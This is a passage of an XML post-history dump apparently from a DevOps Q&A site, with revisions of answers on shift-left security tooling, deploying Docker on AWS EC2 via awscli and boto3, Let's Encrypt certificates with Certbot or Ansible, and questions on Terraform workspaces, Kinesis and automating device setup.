requirements by DevOps lifecycle phases coming from your customer/business/regulatory bodies?&#xD;&#xA;- **implementation**: for every requirement, you will either find an applicable tool you could plugin to the CI/CD or you will need to build a custom solution (which is part of work requirement and task to your developers).&#xD;&#xA;&#xD;&#xA;A great pitfall is from my experience to ask for &quot;state of the art security&quot; either &quot;what developers consider best to realized&quot; because this produces a lot of opinionated discussion including in some cases questioning tool reliability either metrics applicability as such.&#xD;&#xA;&#xD;&#xA;To have a good implementation strategy, some research will be required. I will try what comes to my mind mostly from the open source world. In a large scale business critical industrial environment, investing many thousands to licensing of specialized tools is not much compared to financial and image damage numbers we know about from media. &#xD;&#xA;&#xD;&#xA;* **Requirements**: If written requirements exits, do people responsible for that aka *business analysts* iterate with stakeholders on specific security requirements if such exist? Left shift means also customer should be also aware of the information security and privacy protection as business topic. Which assets are to be protected, which risks are acceptable? &#xD;&#xA;* **Static code analysis**: Sonarqube and underlying tools provide metrics on potential vulnerabilities&#xD;&#xA;* **Packaging**: modern artifact repositories provide dependency management tools to highlight problems with package vulnerabilities and licenses (which is though not for free). Also information that some very old package version, either discontinued open source project could be already a source risk. In Java/Maven, you've got the dependency-check-maven based on the US NIST national vulnerability database. For Docker images, you have got security scanners as well. &#xD;&#xA;* **Deployment** You can grade TLS implementation with the open source Qualys SSL Labs' scanner, there are penetration automation tools from OWASP.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31920" PostHistoryTypeId="5" PostId="10380" RevisionGUID="082f49b6-1352-4ce6-801a-1746da86ed77" CreationDate="2020-01-03T14:46:05.923" UserId="707" Comment="added 497 characters in body" Text="While I completely agree with &#xD;&#xA;&#xD;&#xA;&gt; security must shift left in the development process&#xD;&#xA;&#xD;&#xA;though I can't completely agree with&#xD;&#xA;&#xD;&#xA;&gt;    We all know &quot;developer education&quot; is a lost cause.&#xD;&#xA;&#xD;&#xA;Because I think of the answer to a Quora question I've seen recently, something like &quot;*What is the hardest requirement to a software engineer?*&quot;.&#xD;&#xA;&#xD;&#xA;The answer there was like &quot;*a feature which has highest priority unless it requires too much work&quot;. &#xD;&#xA;&#xD;&#xA;You probably don't want to do same to your security requirements!&#xD;&#xA;&#xD;&#xA;Because many software engineers are very eager to experiment with and learn new things if there is an *exactly defined desired outcome*.&#xD;&#xA;&#xD;&#xA;By this I mean to say that the following steps should be undertaken:&#xD;&#xA;&#xD;&#xA;- **security design**: what are exactly the security requirements by *[DevOps lifecycle phases][1]* coming from your customer/business/regulatory bodies?&#xD;&#xA;- **security implementation**: for every requirement, you will either find an applicable tool you could plugin to the CI/CD or you will need to build a custom solution (which is part of work requirement and task to your developers).&#xD;&#xA;&#xD;&#xA;A great pitfall is from my experience to ask for &quot;state of the art security&quot; either &quot;what developers consider best to realized&quot; because this produces a lot of opinionated discussion including in some cases questioning tool reliability either metrics applicability as such.&#xD;&#xA;&#xD;&#xA;To have a good implementation strategy, some research will be required. I will try what comes to my mind mostly from the open source world. In a large scale business critical industrial environment, investing many thousands to licensing of specialized tools is not much compared to financial and image damage numbers we know about from media. &#xD;&#xA;&#xD;&#xA;* **Requirements**: If written requirements exits, do people responsible for that aka *business analysts* iterate with stakeholders on specific security requirements if such exist? Left shift means also customer should be also aware of the information security and privacy protection as business topic. Which assets are to be protected, which risks are acceptable? &#xD;&#xA;* **Static code analysis**: Sonarqube and underlying tools provide metrics on potential vulnerabilities&#xD;&#xA;* **Packaging**: modern artifact repositories provide dependency management tools to highlight problems with package vulnerabilities and licenses (which is though not for free). Also information that some very old package version, either discontinued open source project could be already a source risk. In Java/Maven, you've got the dependency-check-maven based on the US NIST national vulnerability database. For Docker images, you have got security scanners as well. &#xD;&#xA;* **Deployment** You can grade TLS implementation with the open source Qualys SSL Labs' scanner, there are penetration automation tools from OWASP.&#xD;&#xA;&#xD;&#xA;*Side note*. An additional assessment is also a potential conflict between advanced CI automation and existing organizational processes which have implemented secure processes bound to human interaction. Large organizations where software is business critical therefore should connect the lines between their digital transformation programs and the role of CI/CD systems in the value delivery chain.&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/DevOps_toolchain" ContentLicense="CC BY-SA 4.0" />
  <row Id="31921" PostHistoryTypeId="2" PostId="10382" RevisionGUID="ccc9caf3-6e8a-49d6-be84-b59b8eac723b" CreationDate="2020-01-03T14:49:55.087" UserId="210" Text="[Amazon Kinesis][1] could be used to analyze streaming data. I wonder whether anybody is using this service and what are the experiences? After reading this documentation I have no idea for what purposes this service could be used.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://aws.amazon.com/kinesis/" ContentLicense="CC BY-SA 4.0" />
  <row Id="31922" PostHistoryTypeId="1" PostId="10382" RevisionGUID="ccc9caf3-6e8a-49d6-be84-b59b8eac723b" CreationDate="2020-01-03T14:49:55.087" UserId="210" Text="Is anybody using Amazon Kinesis in production, what are the experiences and what was the rationale for choosing this service?" ContentLicense="CC BY-SA 4.0" />
  <row Id="31923" PostHistoryTypeId="3" PostId="10382" RevisionGUID="ccc9caf3-6e8a-49d6-be84-b59b8eac723b" CreationDate="2020-01-03T14:49:55.087" UserId="210" Text="&lt;untagged&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31924" PostHistoryTypeId="2" PostId="10383" RevisionGUID="a7398d8b-1876-45a1-912c-ee22afee48f2" CreationDate="2020-01-03T16:56:10.180" UserId="18486" Text="I'm having a bit of trouble with Terraform.  I have a Terraform project which is shared by a few developers and uses non-default workspaces (i.e. named workspaces, not the default one).  I would like all the developers to share access to the Terraform state of this shared workspace the same way as if it was the default workspace.  I have set up remote state with S3, so the state file is singleton, but for some reason I can't get the remote state file to be recognized on each developer's machine.&#xD;&#xA;&#xD;&#xA;Basically the workflow I would like is, when developer A pushes a change to Terraform (using ```terraform apply```) then any other developer who runs ```terraform state list``` should see that change reflected in the deployed infra, and that this workflow should work for any workspace, not only the default workspace.&#xD;&#xA;&#xD;&#xA;How do I accomplish this?  Thanks." ContentLicense="CC BY-SA 4.0" />
  <row Id="31925" PostHistoryTypeId="1" PostId="10383" RevisionGUID="a7398d8b-1876-45a1-912c-ee22afee48f2" CreationDate="2020-01-03T16:56:10.180" UserId="18486" Text="Importing non-default workspaces in Terraform" ContentLicense="CC BY-SA 4.0" />
  <row Id="31926" PostHistoryTypeId="3" PostId="10383" RevisionGUID="a7398d8b-1876-45a1-912c-ee22afee48f2" CreationDate="2020-01-03T16:56:10.180" UserId="18486" Text="&lt;terraform&gt;&lt;infrastructure-as-code&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31929" PostHistoryTypeId="2" PostId="10384" RevisionGUID="de707c64-2dad-4ffd-bdd0-d85f09695c63" CreationDate="2020-01-03T22:47:00.703" UserId="7646" Text="We have not been able to figure out what the problem is or what a solution could be.&#xD;&#xA;&#xD;&#xA;The workaround is actually not using the `10.0.2.0` subnet, so I will add that as an answer as requested in the comments.&#xD;&#xA;&#xD;&#xA;If someone finds the real issue and solution here, I will gladly accept that answer though." ContentLicense="CC BY-SA 4.0" />
  <row Id="31936" PostHistoryTypeId="5" PostId="10379" RevisionGUID="7d171226-755d-480f-bb19-e953b3d622c1" CreationDate="2020-01-04T06:19:24.970" UserId="707" Comment="deleted 145 characters in body" Text="I will give it a try and explain all required steps with examples.&#xD;&#xA;&#xD;&#xA;Please add comments with questions and improvement suggestions if anything is not well enough explained.&#xD;&#xA;&#xD;&#xA;The OP (original poster) refers to `awscli`; while I provide corresponding examples, I also discuss limitations of this approach and give examples of doing same with Python.&#xD;&#xA;&#xD;&#xA;The purpose of this answer is to demonstrate that as OP correctly assumed, no Web UI access neither human interaction is mandatory to deploy a container on an AWS EC2 instance.&#xD;&#xA;&#xD;&#xA;**Scope and limitations**&#xD;&#xA;&#xD;&#xA;In this use case, we want to start just one container manually for demo/research purposes, therefore we explicitly decide to do no *[tag:orchestration]*. &#xD;&#xA;&#xD;&#xA;For a complex and possibly more realistic deployment scenario, this example is therefore not reusable. For same simplicity reasons, we will use EC2 service and create there a single virtual machine.&#xD;&#xA;&#xD;&#xA;According to a short documentation research, there seems to be no official AMI with pre-installed Docker daemon. Thus we need to deploy some default EC2 instance and install there Docker daemon, then start the daemon. &#xD;&#xA;&#xD;&#xA;While using a private registry, a login there is required; for simplicity purposes, I give also an example to run a container from the public Docker Hub registry.&#xD;&#xA;&#xD;&#xA;Also, I am not going to provide a copy-paste automation script but single steps which can be easily adopted towards individual needs. In any case, intermediate results require parsing and passing operations which is then a pure programming activity concern.&#xD;&#xA;&#xD;&#xA;A boilerplate automation could be done either with bash using awscli or with Python, using the [boto3 SDK][1] for AWS.&#xD;&#xA; &#xD;&#xA;Python is worth to consider because you can do better processing of JSON responses you get from AWS. You can also tell Python to execute SSH login and bash commands on the remote host.&#xD;&#xA;&#xD;&#xA;**Execution plan**&#xD;&#xA;&#xD;&#xA;* A. Identify recent Linux AMI (Amazon Machine Image) ID&#xD;&#xA;* B. Create keypair and instance (further, also referenced as VM)&#xD;&#xA;* C. Connect to the instance&#xD;&#xA;* D. Install and configure Docker daemon&#xD;&#xA;* E. Run container&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**A. Identify recent Linux AMI image ID**&#xD;&#xA;&#xD;&#xA;Search for a recent and up-to-date Amazon Linux image following the official [documentation][2]:&#xD;&#xA;&#xD;&#xA;    $ aws ec2 describe-images --owners amazon --filters 'Name=name,Values=amzn2-ami-hvm-2.0.????????.?-x86_64-gp2' 'Name=state,Values=available' --query 'reverse(sort_by(Images, &amp;CreationDate))[:1].ImageId' --output text&#xD;&#xA;    ami-01f14919ba412de34&#xD;&#xA;&#xD;&#xA;**B. Create keypair and VM**&#xD;&#xA;&#xD;&#xA;With `awscli`, you would just say:&#xD;&#xA;&#xD;&#xA;    $ aws ec2 create-key-pair --key-name ec2-docker-test&#xD;&#xA;&#xD;&#xA;However, the API sends you your public key wrapped in a JSON data message. Therefore, using [Python][3] it is way easier to process this data message to a *.pem* file:&#xD;&#xA;&#xD;&#xA;    import boto3&#xD;&#xA;    ec2 = boto3.resource('ec2')&#xD;&#xA;    &#xD;&#xA;    # create a file to store the key locally&#xD;&#xA;    outfile = open('ec2-keypair.pem','w')&#xD;&#xA;    &#xD;&#xA;    # call the boto ec2 function to create a key pair&#xD;&#xA;    key_pair = ec2.create_key_pair(KeyName='ec2-docker-test')&#xD;&#xA;    &#xD;&#xA;    # capture the key and store it in a file&#xD;&#xA;    KeyPairOut = str(key_pair.key_material)&#xD;&#xA;    print(KeyPairOut)&#xD;&#xA;    outfile.write(KeyPairOut)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;With the AMI ID we have got previously we can now create the VM:&#xD;&#xA;&#xD;&#xA;    instances = self.ec2r.create_instances(&#xD;&#xA;                     ImageId=AMI_ID,  &#xD;&#xA;                     MinCount=1,&#xD;&#xA;                     MaxCount=1,&#xD;&#xA;                     InstanceType=instance_type,&#xD;&#xA;                     KeyName='ec2-docker-test'&#xD;&#xA;                 )&#xD;&#xA;&#xD;&#xA;AWS API allows also lookup of instance state and IP. With little bit more  Python/boto3 stances you can acquire this data to know when you can proceed.&#xD;&#xA;&#xD;&#xA;**Note: Firewall consideration**&#xD;&#xA;&#xD;&#xA;By default, AWS will create a security group without any traffic restrictions. In a more complex setup, you might want to consider this as well.&#xD;&#xA;&#xD;&#xA;**C. Test SSH connection**&#xD;&#xA;&#xD;&#xA;As soon as the instance is up and running, you can do everything you like by means of *remote command execution*.&#xD;&#xA;&#xD;&#xA;In a Bash script, you would use `ssh` only or `scp` to upload a local bash script and run it remotely.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA; ssh -t &lt;REMOTE_IP&gt; -i &lt;KEY_FILE&gt; &lt;COMMAND&gt;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;With Python, you use further modules like [paramiko][4] to establish SSH connection and run commands remotely. &#xD;&#xA;&#xD;&#xA;    client = paramiko.SSHClient()&#xD;&#xA;    client.connect(ip, username=username, key_filename=key_filename, port=port,&#xD;&#xA;                               timeout=timeout,&#xD;&#xA;                               auth_timeout=timeout)&#xD;&#xA;    &#xD;&#xA;    stdin, stdout, stderr = ssh.exec_command(&quot;whoami&quot;)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;For readability purposes, I list further commands unwrapped. In your script, you might want to use elementary helper subroutines to have calls like `ssh_call(command)`.&#xD;&#xA;    &#xD;&#xA;**D. Install and configure Docker daemon**&#xD;&#xA;&#xD;&#xA;As said above, anything else from here is running remote commands. &#xD;&#xA;&#xD;&#xA;That is, the concluding steps are, following an example in the [official documentation][5]; proceeding is same as you would do it locally, but you need to wrap it in your script and pass over intermediate results if required:&#xD;&#xA;&#xD;&#xA;* install and configure Docker daemon &#xD;&#xA;* login to your Docker registry if needed&#xD;&#xA;* pull image&#xD;&#xA;* run Docker container&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;    sudo yum update -y&#xD;&#xA;    sudo amazon-linux-extras install docker&#xD;&#xA;    sudo service docker start&#xD;&#xA;    sudo usermod -a -G docker ec2-user&#xD;&#xA;    # relogin or continue with sudo, which you shouldn't&#xD;&#xA;    aws ecr get-login --no-include-email --region region&#xD;&#xA;   &#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;**E. Run container**&#xD;&#xA;&#xD;&#xA;Pull custom image and run container from a private registry in AWS.&#xD;&#xA;&#xD;&#xA;``` &#xD;&#xA;    docker pull aws_account_id.REGISTRY.ecr.REGION.amazonaws.com/REPOSITORY/IMAGE:TAG&#xD;&#xA;    docker run --name MYSERVICENAME -d -p PORT_HOST:PORT_CONTAINER IMAGE:TAG&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Pull an official public  image and run another container listening on port 8001 in a single step:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;    docker run --name nginx -d -p 8001:80 nginx:latest&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Conclusion**&#xD;&#xA;&#xD;&#xA;Both Bash and Python implementation options have their benefits and drawbacks.&#xD;&#xA;&#xD;&#xA;Seen on long term, Python being a general purpose programming language with large community, allows complex string manipulation and abstractions from a cloud API or a system process.&#xD;&#xA;&#xD;&#xA;Without knowing the real goal of the deployment, a coherent wrap-up of above steps might not be worth the effort in terms that for deploying a set of related containers which is more typical scenario, other approaches could be more pragmatic. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://boto3.amazonaws.com/v1/documentation/api/latest/index.html&#xD;&#xA;  [2]: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/finding-an-ami.html#finding-an-ami-aws-cli&#xD;&#xA;  [3]: https://blog.ipswitch.com/how-to-create-an-ec2-instance-with-python&#xD;&#xA;  [4]: http://www.paramiko.org/&#xD;&#xA;  [5]: https://docs.aws.amazon.com/AmazonECS/latest/developerguide/docker-basics.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="31937" PostHistoryTypeId="5" PostId="10379" RevisionGUID="054e60e8-425e-4923-8cee-640ea76003e2" CreationDate="2020-01-04T06:33:19.983" UserId="707" Comment="added 2 characters in body" Text="I will give it a try and explain all required steps with examples.&#xD;&#xA;&#xD;&#xA;Please add comments with questions and improvement suggestions if anything is not well enough explained.&#xD;&#xA;&#xD;&#xA;The OP (original poster) refers to `awscli`; while I provide corresponding examples, I also discuss limitations of this approach and give examples of doing same with Python.&#xD;&#xA;&#xD;&#xA;The purpose of this answer is to demonstrate that as OP correctly assumed, no Web UI access neither human interaction is mandatory to deploy a container on an AWS EC2 instance.&#xD;&#xA;&#xD;&#xA;**Scope and limitations**&#xD;&#xA;&#xD;&#xA;In this use case, we want to start just one container manually for demo/research purposes, therefore we explicitly decide to do no *[tag:orchestration]*. &#xD;&#xA;&#xD;&#xA;For a complex and possibly more realistic deployment scenario, this example is therefore not reusable. For same simplicity reasons, we will use EC2 service and create there a single virtual machine.&#xD;&#xA;&#xD;&#xA;According to a short documentation research, there seems to be no official AMI with pre-installed Docker daemon. Thus we need to deploy some default EC2 instance and install there Docker daemon, then start the daemon. &#xD;&#xA;&#xD;&#xA;While using a private registry, a login there is required; for simplicity purposes, I give also an example to run a container from the public Docker Hub registry.&#xD;&#xA;&#xD;&#xA;Also, I am not going to provide a copy-paste automation script but single steps which can be easily adopted towards individual needs. In any case, intermediate results require parsing and passing operations which is then a pure programming activity concern.&#xD;&#xA;&#xD;&#xA;A boilerplate automation could be done either with bash using awscli or with Python, using the [boto3 SDK][1] for AWS.&#xD;&#xA; &#xD;&#xA;Python is worth to consider because you can do better processing of JSON responses you get from AWS. You can also tell Python to execute SSH login and bash commands on the remote host.&#xD;&#xA;&#xD;&#xA;**Execution plan**&#xD;&#xA;&#xD;&#xA;* A. Identify recent Linux AMI (Amazon Machine Image) ID&#xD;&#xA;* B. Create keypair and instance (further, also referenced as VM)&#xD;&#xA;* C. Connect to the instance&#xD;&#xA;* D. Install and configure Docker daemon&#xD;&#xA;* E. Run container&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**A. Identify recent Linux AMI image ID**&#xD;&#xA;&#xD;&#xA;Search for a recent and up-to-date Amazon Linux image following the official [documentation][2]:&#xD;&#xA;&#xD;&#xA;    $ aws ec2 describe-images --owners amazon --filters 'Name=name,Values=amzn2-ami-hvm-2.0.????????.?-x86_64-gp2' 'Name=state,Values=available' --query 'reverse(sort_by(Images, &amp;CreationDate))[:1].ImageId' --output text&#xD;&#xA;    ami-01f14919ba412de34&#xD;&#xA;&#xD;&#xA;**B. Create keypair and VM**&#xD;&#xA;&#xD;&#xA;With `awscli`, you would just say:&#xD;&#xA;&#xD;&#xA;    $ aws ec2 create-key-pair --key-name ec2-docker-test&#xD;&#xA;&#xD;&#xA;However, the API sends you your public key wrapped in a JSON data message. Therefore, using [Python][3] it is way easier to process this data message to a *.pem* file:&#xD;&#xA;&#xD;&#xA;    import boto3&#xD;&#xA;    ec2 = boto3.resource('ec2')&#xD;&#xA;    &#xD;&#xA;    # create a file to store the key locally&#xD;&#xA;    outfile = open('ec2-keypair.pem','w')&#xD;&#xA;    &#xD;&#xA;    # call the boto ec2 function to create a key pair&#xD;&#xA;    key_pair = ec2.create_key_pair(KeyName='ec2-docker-test')&#xD;&#xA;    &#xD;&#xA;    # capture the key and store it in a file&#xD;&#xA;    KeyPairOut = str(key_pair.key_material)&#xD;&#xA;    print(KeyPairOut)&#xD;&#xA;    outfile.write(KeyPairOut)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;With the AMI ID we have got previously we can now create the VM:&#xD;&#xA;&#xD;&#xA;    instances = self.ec2r.create_instances(&#xD;&#xA;                     ImageId=AMI_ID,  &#xD;&#xA;                     MinCount=1,&#xD;&#xA;                     MaxCount=1,&#xD;&#xA;                     InstanceType=instance_type,&#xD;&#xA;                     KeyName='ec2-docker-test'&#xD;&#xA;                 )&#xD;&#xA;&#xD;&#xA;AWS API allows also lookup of instance state and IP. With little bit more  Python/*boto3* stanzas you can acquire this data to know when you can proceed.&#xD;&#xA;&#xD;&#xA;**Note: Firewall consideration**&#xD;&#xA;&#xD;&#xA;By default, AWS will create a security group without any traffic restrictions. In a more complex setup, you might want to consider this as well.&#xD;&#xA;&#xD;&#xA;**C. Test SSH connection**&#xD;&#xA;&#xD;&#xA;As soon as the instance is up and running, you can do everything you like by means of *remote command execution*.&#xD;&#xA;&#xD;&#xA;In a Bash script, you would use `ssh` only or `scp` to upload a local bash script and run it remotely.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA; ssh -t &lt;REMOTE_IP&gt; -i &lt;KEY_FILE&gt; &lt;COMMAND&gt;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;With Python, you use further modules like [paramiko][4] to establish SSH connection and run commands remotely. &#xD;&#xA;&#xD;&#xA;    client = paramiko.SSHClient()&#xD;&#xA;    client.connect(ip, username=username, key_filename=key_filename, port=port,&#xD;&#xA;                               timeout=timeout,&#xD;&#xA;                               auth_timeout=timeout)&#xD;&#xA;    &#xD;&#xA;    stdin, stdout, stderr = ssh.exec_command(&quot;whoami&quot;)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;For readability purposes, I list further commands unwrapped. In your script, you might want to use elementary helper subroutines to have calls like `ssh_call(command)`.&#xD;&#xA;    &#xD;&#xA;**D. Install and configure Docker daemon**&#xD;&#xA;&#xD;&#xA;As said above, anything else from here is running remote commands. &#xD;&#xA;&#xD;&#xA;That is, the concluding steps are, following an example in the [official documentation][5]; proceeding is same as you would do it locally, but you need to wrap it in your script and pass over intermediate results if required:&#xD;&#xA;&#xD;&#xA;* install and configure Docker daemon &#xD;&#xA;* login to your Docker registry if needed&#xD;&#xA;* pull image&#xD;&#xA;* run Docker container&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;    sudo yum update -y&#xD;&#xA;    sudo amazon-linux-extras install docker&#xD;&#xA;    sudo service docker start&#xD;&#xA;    sudo usermod -a -G docker ec2-user&#xD;&#xA;    # relogin or continue with sudo, which you shouldn't&#xD;&#xA;    aws ecr get-login --no-include-email --region region&#xD;&#xA;   &#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;**E. Run container**&#xD;&#xA;&#xD;&#xA;Pull custom image and run container from a private registry in AWS.&#xD;&#xA;&#xD;&#xA;``` &#xD;&#xA;    docker pull aws_account_id.REGISTRY.ecr.REGION.amazonaws.com/REPOSITORY/IMAGE:TAG&#xD;&#xA;    docker run --name MYSERVICENAME -d -p PORT_HOST:PORT_CONTAINER IMAGE:TAG&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Pull an official public  image and run another container listening on port 8001 in a single step:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;    docker run --name nginx -d -p 8001:80 nginx:latest&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Conclusion**&#xD;&#xA;&#xD;&#xA;Both Bash and Python implementation options have their benefits and drawbacks.&#xD;&#xA;&#xD;&#xA;Seen on long term, Python being a general purpose programming language with large community, allows complex string manipulation and abstractions from a cloud API or a system process.&#xD;&#xA;&#xD;&#xA;Without knowing the real goal of the deployment, a coherent wrap-up of above steps might not be worth the effort in terms that for deploying a set of related containers which is more typical scenario, other approaches could be more pragmatic. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://boto3.amazonaws.com/v1/documentation/api/latest/index.html&#xD;&#xA;  [2]: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/finding-an-ami.html#finding-an-ami-aws-cli&#xD;&#xA;  [3]: https://blog.ipswitch.com/how-to-create-an-ec2-instance-with-python&#xD;&#xA;  [4]: http://www.paramiko.org/&#xD;&#xA;  [5]: https://docs.aws.amazon.com/AmazonECS/latest/developerguide/docker-basics.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="31938" PostHistoryTypeId="2" PostId="10386" RevisionGUID="7525c194-0887-49cd-942f-a7919c05a308" CreationDate="2020-01-04T08:41:06.747" UserId="18932" Text="Others have pointed it out already; Certbot makes it easy to handle certificates&#xD;&#xA;while `acme_certificate` module is more flexible and transparent.&#xD;&#xA;&#xD;&#xA;## Acquire Certificate&#xD;&#xA;To request the ssl certificate with `acme_certificate`, there are good examples&#xD;&#xA;on [DigitalOcean](https://www.digitalocean.com/community/tutorials/how-to-acquire-a-let-s-encrypt-certificate-using-ansible-on-ubuntu-18-04)&#xD;&#xA;or on [Reddit](https://www.reddit.com/r/ansible/comments/9eyyug/is_there_a_way_to_fully_automate_setting_up_ssl/).&#xD;&#xA;These examples boil down to following tasks:&#xD;&#xA;&#xD;&#xA;1. Ensure you have a private key for your acme account. (module `openssl_privatekey`)&#xD;&#xA;2. Ensure you have a private key for your certificate. (module `openssl_privatekey`)&#xD;&#xA;3. Ensure you have a certificate signing request. (module `openssl_csr`)&#xD;&#xA;4. Then a challenge is requested from letsencrypt. (module `acme_certificate')&#xD;&#xA;5. One of the challenges `dns-01`, `http-01` or `tls-alpn-01` is implemented.&#xD;&#xA;6. The certficate from letsencrypt is requested. (module `acme_certificate')&#xD;&#xA;7. (optional) The challenge implementation is removed.&#xD;&#xA;8. The server configuration is updated with the ssl certificates.&#xD;&#xA;&#xD;&#xA;With Certbot you can have all these steps in one handy command. They provide&#xD;&#xA;[instructions for any platform](https://certbot.eff.org/instructions).&#xD;&#xA;```bash&#xD;&#xA;sudo certbot --nginx&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Module `acme_certificate` is Ansible native and a playbook with all these steps &#xD;&#xA;is only written once. The tasks in the playbook are transparent and you have&#xD;&#xA;the certificates and keys for your server configuration at hand. With Certbot&#xD;&#xA;you have to know the directory `/etc/letsencrypt/live/my.domain.com` wherein&#xD;&#xA;those artifacts are generated.&#xD;&#xA;&#xD;&#xA;## Renew Certificate&#xD;&#xA;A crucial point is the responsibility for certificate renewal. Above Certbot&#xD;&#xA;command has already created a cron job which checks the validity of the&#xD;&#xA;certificate and renews it if required. If the certificate is managed with&#xD;&#xA;Ansible you have to run an Ansible playbook for renewal.&#xD;&#xA;&#xD;&#xA;[Letsencrypt certificates are valid for 90 days, so the renewal process gets automated.](https://letsencrypt.org/2015/11/09/why-90-days.html)&#xD;&#xA;For the renewal, above Ansible playbook works, it does the renewal as well.&#xD;&#xA;However, during the first 30 days a challenge respones is cached at letsencrypt&#xD;&#xA;and no new challenge is returned at task (4). So, executed a second time&#xD;&#xA;during the first 30 days, above playbook requires some conditions. Additionally,&#xD;&#xA;it is advised to create a new csr (3) and certificate key (2) when a certificate&#xD;&#xA;is renewed. Handling these requirements properly, the playbook will grow quite a bit.&#xD;&#xA;&#xD;&#xA;Above certbot command, has already created a cron job which handles certificate&#xD;&#xA;renewal, so nothing else needs to be done.&#xD;&#xA;&#xD;&#xA;## Conclusion&#xD;&#xA;There are roles in [Ansible Galaxy](https://galaxy.ansible.com/) for Certbot and&#xD;&#xA;`acme_certificate` module. Personally, I favour Ansible native solutions over&#xD;&#xA;playbooks containing bash commands. However, I run Ansible from my personal notebook&#xD;&#xA;and I do not want to remember running a playbook for certificate renewal.&#xD;&#xA;Therefore, I prefer Certbot which runs on the host and does the renewal without&#xD;&#xA;any external trigger." ContentLicense="CC BY-SA 4.0" />
  <row Id="31939" PostHistoryTypeId="2" PostId="10387" RevisionGUID="fa703d94-d719-49e0-98b9-8993a2914f82" CreationDate="2020-01-04T10:47:42.107" UserId="17679" Text="The answer is `Key Based SSH` &#xD;&#xA;&#xD;&#xA;Reasons &#xD;&#xA;&#xD;&#xA; 1. You can SSH multiple host machines using the same key or Different keys. &#xD;&#xA; 2. If you reboot your machine while playbook running it again SSH using your provided key so your ansible-playbook runs without occurring any errors.&#xD;&#xA; 3. Also, you get authentication using the appropriate user.&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;use can use **inventory.ini** file &#xD;&#xA;&#xD;&#xA;**example** &#xD;&#xA;&#xD;&#xA;    [hostMachine]&#xD;&#xA;    ubuntu@xx.xx.xx.xx  ansible_ssh_user=ubuntu ansible_ssh_private_key_file=/path of your pem file&#xD;&#xA;&#xD;&#xA;    [ABCDMachine]&#xD;&#xA;    ABCD@xx.xx.xx.xx ansible_ssh_user=ABCD ansible_ssh_private_key_file=/path of your pem file&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Command for run ansible-playbook**&#xD;&#xA;&#xD;&#xA;&gt; ansible-playbook -i inventory.ini main.yml&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;      &#xD;&#xA;&#xD;&#xA;  &#xD;&#xA;&#xD;&#xA;    " ContentLicense="CC BY-SA 4.0" />
  <row Id="31940" PostHistoryTypeId="2" PostId="10388" RevisionGUID="effbbd64-c675-4b31-980c-e6c2cd5e6a2e" CreationDate="2020-01-04T15:33:21.130" UserId="18936" Text="I'm facing the problem, to setup Gateways and Industrial PC's (with SSH access) regularly. All have different default settings. Some have a default root password, some have a default user. Some have a initial fixed IP, some use DHCP.&#xD;&#xA;Some are ARM architecture, some are MIPS. OS varies between Yocto, OpenWRT, Raspian, etc.&#xD;&#xA;&#xD;&#xA;I'm looking for a way to somehow script the deployment and execute it automatically.&#xD;&#xA;&#xD;&#xA;There are tools like Ansible, Puppet, Chef, etc. but I'm not sure which is best suited for my uscase described above or which isn't at all. In best case the tool has no requirements on the target device and works purely via SSH." ContentLicense="CC BY-SA 4.0" />
  <row Id="31941" PostHistoryTypeId="1" PostId="10388" RevisionGUID="effbbd64-c675-4b31-980c-e6c2cd5e6a2e" CreationDate="2020-01-04T15:33:21.130" UserId="18936" Text="How to automatically deploy routers / industrial PC's" ContentLicense="CC BY-SA 4.0" />
  <row Id="31942" PostHistoryTypeId="3" PostId="10388" RevisionGUID="effbbd64-c675-4b31-980c-e6c2cd5e6a2e" CreationDate="2020-01-04T15:33:21.130" UserId="18936" Text="&lt;deployment&gt;&lt;automation&gt;" ContentLicense="CC BY-SA 4.0" />
